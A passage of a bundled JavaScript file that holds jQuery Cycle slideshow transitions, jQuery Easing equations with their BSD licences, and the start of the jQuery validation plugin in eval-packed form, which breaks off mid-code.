	cleartypeNoBg: false, // set to true to disable extra cleartype fixing (leave false to force background color setting on slides)
	nowrap:		   0,	  // true to prevent slideshow from wrapping
	fastOnEvent:   0,	  // force fast transitions when triggered manually (via pager or prev/next); value == time in ms
	randomizeEffects: 1,  // valid when multiple effects are used; true to make the effect sequence random
	rev:		   0,	 // causes animations to transition in reverse
	manualTrump:   true,  // causes manual transition to stop an active transition instead of being ignored
	requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded
	requeueTimeout: 250   // ms delay for requeue
};

})(jQuery);


/*!
 * jQuery Cycle Plugin Transition Definitions
 * This script is a plugin for the jQuery Cycle Plugin
 * Examples and documentation at: http://malsup.com/jquery/cycle/
 * Copyright (c) 2007-2008 M. Alsup
 * Version:	 2.72
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 */
(function($) {

//
// These functions define one-time slide initialization for the named
// transitions. To save file size feel free to remove any of these that you
// don't need.
//
$.fn.cycle.transitions.none = function($cont, $slides, opts) {
	opts.fxFn = function(curr,next,opts,after){
		$(next).show();
		$(curr).hide();
		after();
	};
}

// scrollUp/Down/Left/Right
$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssBefore ={ top: h, left: 0 };
	opts.cssFirst = { top: 0 };
	opts.animIn	  = { top: 0 };
	opts.animOut  = { top: -h };
};
$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var h = $cont.height();
	opts.cssFirst = { top: 0 };
	opts.cssBefore= { top: -h, left: 0 };
	opts.animIn	  = { top: 0 };
	opts.animOut  = { top: h };
};
$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst = { left: 0 };
	opts.cssBefore= { left: w, top: 0 };
	opts.animIn	  = { left: 0 };
	opts.animOut  = { left: 0-w };
};
$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push($.fn.cycle.commonReset);
	var w = $cont.width();
	opts.cssFirst = { left: 0 };
	opts.cssBefore= { left: -w, top: 0 };
	opts.animIn	  = { left: 0 };
	opts.animOut  = { left: w };
};
$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) {
	$cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts, fwd) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW);
		opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW;
	});
	opts.cssFirst = { left: 0 };
	opts.cssBefore= { top: 0 };
	opts.animIn   = { left: 0 };
	opts.animOut  = { top: 0 };
};
$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) {
	$cont.css('overflow','hidden');
	opts.before.push(function(curr, next, opts, fwd) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1);
		opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH;
	});
	opts.cssFirst = { top: 0 };
	opts.cssBefore= { left: 0 };
	opts.animIn   = { top: 0 };
	opts.animOut  = { left: 0 };
};

// slideX/slideY
$.fn.cycle.transitions.slideX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore = { left: 0, top: 0, width: 0 };
	opts.animIn	 = { width: 'show' };
	opts.animOut = { width: 0 };
};
$.fn.cycle.transitions.slideY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$(opts.elements).not(curr).hide();
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
	});
	opts.cssBefore = { left: 0, top: 0, height: 0 };
	opts.animIn	 = { height: 'show' };
	opts.animOut = { height: 0 };
};

// shuffle
$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) {
	var i, w = $cont.css('overflow', 'visible').width();
	$slides.css({left: 0, top: 0});
	opts.before.push(function(curr,next,opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
	});
	// only adjust speed once!
	if (!opts.speedAdjusted) {
		opts.speed = opts.speed / 2; // shuffle has 2 transitions
		opts.speedAdjusted = true;
	}
	opts.random = 0;
	opts.shuffle = opts.shuffle || {left:-w, top:15};
	opts.els = [];
	for (i=0; i < $slides.length; i++)
		opts.els.push($slides[i]);

	for (i=0; i < opts.currSlide; i++)
		opts.els.push(opts.els.shift());

	// custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!)
	opts.fxFn = function(curr, next, opts, cb, fwd) {
		var $el = fwd ? $(curr) : $(next);
		$(next).css(opts.cssBefore);
		var count = opts.slideCount;
		$el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() {
			var hops = $.fn.cycle.hopsFromLast(opts, fwd);
			for (var k=0; k < hops; k++)
				fwd ? opts.els.push(opts.els.shift()) : opts.els.unshift(opts.els.pop());
			if (fwd) {
				for (var i=0, len=opts.els.length; i < len; i++)
					$(opts.els[i]).css('z-index', len-i+count);
			}
			else {
				var z = $(curr).css('z-index');
				$el.css('z-index', parseInt(z)+1+count);
			}
			$el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
				$(fwd ? this : curr).hide();
				if (cb) cb();
			});
		});
	};
	opts.cssBefore = { display: 'block', opacity: 1, top: 0, left: 0 };
};

// turnUp/Down/Left/Right
$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = next.cycleH;
		opts.animIn.height = next.cycleH;
	});
	opts.cssFirst  = { top: 0 };
	opts.cssBefore = { left: 0, height: 0 };
	opts.animIn	   = { top: 0 };
	opts.animOut   = { height: 0 };
};
$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssFirst  = { top: 0 };
	opts.cssBefore = { left: 0, top: 0, height: 0 };
	opts.animOut   = { height: 0 };
};
$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = next.cycleW;
		opts.animIn.width = next.cycleW;
	});
	opts.cssBefore = { top: 0, width: 0  };
	opts.animIn	   = { left: 0 };
	opts.animOut   = { width: 0 };
};
$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.animIn.width = next.cycleW;
		opts.animOut.left = curr.cycleW;
	});
	opts.cssBefore = { top: 0, left: 0, width: 0 };
	opts.animIn	   = { left: 0 };
	opts.animOut   = { width: 0 };
};

// zoom
$.fn.cycle.transitions.zoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.cssBefore.left = next.cycleW/2;
		opts.animIn	   = { top: 0, left: 0, width: next.cycleW, height: next.cycleH };
		opts.animOut   = { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 };
	});
	opts.cssFirst = { top:0, left: 0 };
	opts.cssBefore = { width: 0, height: 0 };
};

// fadeZoom
$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,false);
		opts.cssBefore.left = next.cycleW/2;
		opts.cssBefore.top = next.cycleH/2;
		opts.animIn	= { top: 0, left: 0, width: next.cycleW, height: next.cycleH };
	});
	opts.cssBefore = { width: 0, height: 0 };
	opts.animOut  = { opacity: 0 };
};

// blindX
$.fn.cycle.transitions.blindX = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.width = next.cycleW;
		opts.animOut.left   = curr.cycleW;
	});
	opts.cssBefore = { left: w, top: 0 };
	opts.animIn = { left: 0 };
	opts.animOut  = { left: w };
};
// blindY
$.fn.cycle.transitions.blindY = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssBefore = { top: h, left: 0 };
	opts.animIn = { top: 0 };
	opts.animOut  = { top: h };
};
// blindZ
$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) {
	var h = $cont.css('overflow','hidden').height();
	var w = $cont.width();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		opts.animIn.height = next.cycleH;
		opts.animOut.top   = curr.cycleH;
	});
	opts.cssBefore = { top: h, left: w };
	opts.animIn = { top: 0, left: 0 };
	opts.animOut  = { top: h, left: w };
};

// growX - grow horizontally from centered 0 width
$.fn.cycle.transitions.growX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = this.cycleW/2;
		opts.animIn = { left: 0, width: this.cycleW };
		opts.animOut = { left: 0 };
	});
	opts.cssBefore = { width: 0, top: 0 };
};
// growY - grow vertically from centered 0 height
$.fn.cycle.transitions.growY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = this.cycleH/2;
		opts.animIn = { top: 0, height: this.cycleH };
		opts.animOut = { top: 0 };
	});
	opts.cssBefore = { height: 0, left: 0 };
};

// curtainX - squeeze in both edges horizontally
$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true,true);
		opts.cssBefore.left = next.cycleW/2;
		opts.animIn = { left: 0, width: this.cycleW };
		opts.animOut = { left: curr.cycleW/2, width: 0 };
	});
	opts.cssBefore = { top: 0, width: 0 };
};
// curtainY - squeeze in both edges vertically
$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false,true);
		opts.cssBefore.top = next.cycleH/2;
		opts.animIn = { top: 0, height: next.cycleH };
		opts.animOut = { top: curr.cycleH/2, height: 0 };
	});
	opts.cssBefore = { left: 0, height: 0 };
};

// cover - curr slide covered by next slide
$.fn.cycle.transitions.cover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		if (d == 'right')
			opts.cssBefore.left = -w;
		else if (d == 'up')
			opts.cssBefore.top = h;
		else if (d == 'down')
			opts.cssBefore.top = -h;
		else
			opts.cssBefore.left = w;
	});
	opts.animIn = { left: 0, top: 0};
	opts.animOut = { opacity: 1 };
	opts.cssBefore = { top: 0, left: 0 };
};

// uncover - curr slide moves off next slide
$.fn.cycle.transitions.uncover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		if (d == 'right')
			opts.animOut.left = w;
		else if (d == 'up')
			opts.animOut.top = -h;
		else if (d == 'down')
			opts.animOut.top = h;
		else
			opts.animOut.left = -w;
	});
	opts.animIn = { left: 0, top: 0 };
	opts.animOut = { opacity: 1 };
	opts.cssBefore = { top: 0, left: 0 };
};

// toss - move top slide and fade away
$.fn.cycle.transitions.toss = function($cont, $slides, opts) {
	var w = $cont.css('overflow','visible').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		// provide default toss settings if animOut not provided
		if (!opts.animOut.left && !opts.animOut.top)
			opts.animOut = { left: w*2, top: -h/2, opacity: 0 };
		else
			opts.animOut.opacity = 0;
	});
	opts.cssBefore = { left: 0, top: 0 };
	opts.animIn = { left: 0 };
};

// wipe - clip animation
$.fn.cycle.transitions.wipe = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.cssBefore = opts.cssBefore || {};
	var clip;
	if (opts.clip) {
		if (/l2r/.test(opts.clip))
			clip = 'rect(0px 0px '+h+'px 0px)';
		else if (/r2l/.test(opts.clip))
			clip = 'rect(0px '+w+'px '+h+'px '+w+'px)';
		else if (/t2b/.test(opts.clip))
			clip = 'rect(0px '+w+'px 0px 0px)';
		else if (/b2t/.test(opts.clip))
			clip = 'rect('+h+'px '+w+'px '+h+'px 0px)';
		else if (/zoom/.test(opts.clip)) {
			var top = parseInt(h/2);
			var left = parseInt(w/2);
			clip = 'rect('+top+'px '+left+'px '+top+'px '+left+'px)';
		}
	}

	opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)';

	var d = opts.cssBefore.clip.match(/(\d+)/g);
	var t = parseInt(d[0]), r = parseInt(d[1]), b = parseInt(d[2]), l = parseInt(d[3]);

	opts.before.push(function(curr, next, opts) {
		if (curr == next) return;
		var $curr = $(curr), $next = $(next);
		$.fn.cycle.commonReset(curr,next,opts,true,true,false);
		opts.cssAfter.display = 'block';

		var step = 1, count = parseInt((opts.speedIn / 13)) - 1;
		(function f() {
			var tt = t ? t - parseInt(step * (t/count)) : 0;
			var ll = l ? l - parseInt(step * (l/count)) : 0;
			var bb = b < h ? b + parseInt(step * ((h-b)/count || 1)) : h;
			var rr = r < w ? r + parseInt(step * ((w-r)/count || 1)) : w;
			$next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' });
			(step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none');
		})();
	});
	opts.cssBefore = { display: 'block', opacity: 1, top: 0, left: 0 };
	opts.animIn	   = { left: 0 };
	opts.animOut   = { left: 0 };
};

})(jQuery);

/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 *
 * Uses the built in easing capabilities added In jQuery 1.1
 * to offer multiple easing options
 *
 * TERMS OF USE - jQuery Easing
 * 
 * Open source under the BSD License. 
 * 
 * Copyright å© 2008 George McGinley Smith
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
*/

// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];

jQuery.extend( jQuery.easing,
{
	def: 'easeOutQuad',
	swing: function (x, t, b, c, d) {
		//alert(jQuery.easing.default);
		return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
	},
	easeInQuad: function (x, t, b, c, d) {
		return c*(t/=d)*t + b;
	},
	easeOutQuad: function (x, t, b, c, d) {
		return -c *(t/=d)*(t-2) + b;
	},
	easeInOutQuad: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t + b;
		return -c/2 * ((--t)*(t-2) - 1) + b;
	},
	easeInCubic: function (x, t, b, c, d) {
		return c*(t/=d)*t*t + b;
	},
	easeOutCubic: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t + 1) + b;
	},
	easeInOutCubic: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t + b;
		return c/2*((t-=2)*t*t + 2) + b;
	},
	easeInQuart: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t + b;
	},
	easeOutQuart: function (x, t, b, c, d) {
		return -c * ((t=t/d-1)*t*t*t - 1) + b;
	},
	easeInOutQuart: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
		return -c/2 * ((t-=2)*t*t*t - 2) + b;
	},
	easeInQuint: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t*t + b;
	},
	easeOutQuint: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t*t*t + 1) + b;
	},
	easeInOutQuint: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
		return c/2*((t-=2)*t*t*t*t + 2) + b;
	},
	easeInSine: function (x, t, b, c, d) {
		return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
	},
	easeOutSine: function (x, t, b, c, d) {
		return c * Math.sin(t/d * (Math.PI/2)) + b;
	},
	easeInOutSine: function (x, t, b, c, d) {
		return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
	},
	easeInExpo: function (x, t, b, c, d) {
		return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
	},
	easeOutExpo: function (x, t, b, c, d) {
		return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
	},
	easeInOutExpo: function (x, t, b, c, d) {
		if (t==0) return b;
		if (t==d) return b+c;
		if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
		return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
	},
	easeInCirc: function (x, t, b, c, d) {
		return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
	},
	easeOutCirc: function (x, t, b, c, d) {
		return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
	},
	easeInOutCirc: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
		return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
	},
	easeInElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
	},
	easeOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
	},
	easeInOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d/2)==2) return b+c;  if (!p) p=d*(.3*1.5);
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
		return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
	},
	easeInBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*(t/=d)*t*((s+1)*t - s) + b;
	},
	easeOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
	},
	easeInOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158; 
		if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
		return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
	},
	easeInBounce: function (x, t, b, c, d) {
		return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
	},
	easeOutBounce: function (x, t, b, c, d) {
		if ((t/=d) < (1/2.75)) {
			return c*(7.5625*t*t) + b;
		} else if (t < (2/2.75)) {
			return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
		} else if (t < (2.5/2.75)) {
			return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
		} else {
			return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
		}
	},
	easeInOutBounce: function (x, t, b, c, d) {
		if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
		return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
	}
});

/*
 *
 * TERMS OF USE - EASING EQUATIONS
 * 
 * Open source under the BSD License. 
 * 
 * Copyright å© 2001 Robert Penner
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
 */




/*
 * jQuery validation plug-in 1.6
 *
 * http://bassistance.de/jquery-plugins/jquery-plugin-validation/
 * http://docs.jquery.com/Plugins/Validation
 *
 * Copyright (c) 2006 - 2008 J?rn Zaefferer
 *
 * $Id: jquery.validate.js 6403 2009-06-17 14:27:16Z joern.zaefferer $
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 */
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(7($){$.H($.2O,{1d:7(d){l(!6.F){d&&d.24&&2Y.1H&&1H.52("3v 3o, 4N\'t 1d, 67 3v");8}p c=$.17(6[0],\'v\');l(c){8 c}c=2e $.v(d,6[0]);$.17(6[0],\'v\',c);l(c.q.3u){6.3r("1B, 3j").1n(".4G").3b(7(){c.3a=w});l(c.q.35){6.3r("1B, 3j").1n(":23").3b(7(){c.1V=6})}6.23(7(b){l(c.q.24)b.5N();7 2m(){l(c.q.35){l(c.1V){p a=$("<1B 1A=\'5v\'/>").1p("u",c.1V.u).2M(c.1V.Z).51(c.U)}c.q.35.11(c,c.U);l(c.1V){a.3A()}8 I}8 w}l(c.3a){c.3a=I;8 2m()}l(c.M()){l(c.1a){c.1l=w;8 I}8 2m()}16{c.2h();8 I}})}8 c},J:7(){l($(6[0]).2Z(\'M\')){8 6.1d().M()}16{p b=w;p a=$(6[0].M).1d();6.P(7(){b&=a.L(6)});8 b}},4F:7(c){p d={},$L=6;$.P(c.1O(/\\s/),7(a,b){d[b]=$L.1p(b);$L.6c(b)});8 d},1f:7(h,k){p f=6[0];l(h){p i=$.17(f.M,\'v\').q;p d=i.1f;p c=$.v.2D(f);22(h){1b"1e":$.H(c,$.v.1N(k));d[f.u]=c;l(k.G)i.G[f.u]=$.H(i.G[f.u],k.G);2K;1b"3A":l(!k){S d[f.u];8 c}p e={};$.P(k.1O(/\\s/),7(a,b){e[b]=c[b];S c[b]});8 e}}p g=$.v.42($.H({},$.v.3Y(f),$.v.3W(f),$.v.3U(f),$.v.2D(f)),f);l(g.14){p j=g.14;S g.14;g=$.H({14:j},g)}8 g}});$.H($.5s[":"],{5p:7(a){8!$.1q(""+a.Z)},5i:7(a){8!!$.1q(""+a.Z)},5f:7(a){8!a.4l}});$.v=7(b,a){6.q=$.H({},$.v.33,b);6.U=a;6.3I()};$.v.W=7(c,b){l(T.F==1)8 7(){p a=$.3D(T);a.4V(c);8 $.v.W.1Q(6,a)};l(T.F>2&&b.29!=3x){b=$.3D(T).4R(1)}l(b.29!=3x){b=[b]}$.P(b,7(i,n){c=c.1P(2e 3s("\\\\{"+i+"\\\\}","g"),n)});8 c};$.H($.v,{33:{G:{},2d:{},1f:{},19:"3p",26:"J",2C:"4Q",2h:w,3l:$([]),2A:$([]),3u:w,3i:[],3Q:I,4O:7(a){6.3e=a;l(6.q.4M&&!6.4J){6.q.1L&&6.q.1L.11(6,a,6.q.19,6.q.26);6.1K(a).2y()}},4E:7(a){l(!6.1D(a)&&(a.u V 6.1c||!6.K(a))){6.L(a)}},6b:7(a){l(a.u V 6.1c||a==6.4y){6.L(a)}},69:7(a){l(a.u V 6.1c)6.L(a);16 l(a.4v.u V 6.1c)6.L(a.4v)},38:7(a,c,b){$(a).1Y(c).2w(b)},1L:7(a,c,b){$(a).2w(c).1Y(b)}},65:7(a){$.H($.v.33,a)},G:{14:"61 4q 2Z 14.",1r:"N 2L 6 4q.",1I:"N O a J 1I 60.",1v:"N O a J 5X.",1u:"N O a J 1u.",2q:"N O a J 1u (5R).",1s:"N O a J 1s.",1U:"N O 5P 1U.",2c:"N O a J 5O 5M 1s.",2n:"N O 47 5I Z 5H.",44:"N O a Z 5C a J 5B.",18:$.v.W("N O 3X 5y 2X {0} 2W."),1z:$.v.W("N O 5x 5w {0} 2W."),2j:$.v.W("N O a Z 3V {0} 45 {1} 2W 5q."),2i:$.v.W("N O a Z 3V {0} 45 {1}."),1x:$.v.W("N O a Z 5k 2X 3L 3K 48 {0}."),1F:$.v.W("N O a Z 5d 2X 3L 3K 48 {0}.")},3J:I,5b:{3I:7(){6.2r=$(6.q.2A);6.4i=6.2r.F&&6.2r||$(6.U);6.2s=$(6.q.3l).1e(6.q.2A);6.1c={};6.55={};6.1a=0;6.1i={};6.1g={};6.21();p f=(6.2d={});$.P(6.q.2d,7(d,c){$.P(c.1O(/\\s/),7(a,b){f[b]=d})});p e=6.q.1f;$.P(e,7(b,a){e[b]=$.v.1N(a)});7 1C(a){p b=$.17(6[0].M,"v");b.q["4A"+a.1A]&&b.q["4A"+a.1A].11(b,6[0])}$(6.U).1C("3F 3E 4W",":3C, :4U, :4T, 2b, 4S",1C).1C("3b",":3B, :3z, 2b, 3y",1C);l(6.q.3w)$(6.U).2J("1g-M.1d",6.q.3w)},M:7(){6.3t();$.H(6.1c,6.1w);6.1g=$.H({},6.1w);l(!6.J())$(6.U).2H("1g-M",[6]);6.1m();8 6.J()},3t:7(){6.2G();Q(p i=0,13=(6.27=6.13());13[i];i++){6.28(13[i])}8 6.J()},L:7(a){a=6.2F(a);6.4y=a;6.2E(a);6.27=$(a);p b=6.28(a);l(b){S 6.1g[a.u]}16{6.1g[a.u]=w}l(!6.3q()){6.12=6.12.1e(6.2s)}6.1m();8 b},1m:7(b){l(b){$.H(6.1w,b);6.R=[];Q(p c V b){6.R.2a({1j:b[c],L:6.2f(c)[0]})}6.1k=$.3n(6.1k,7(a){8!(a.u V 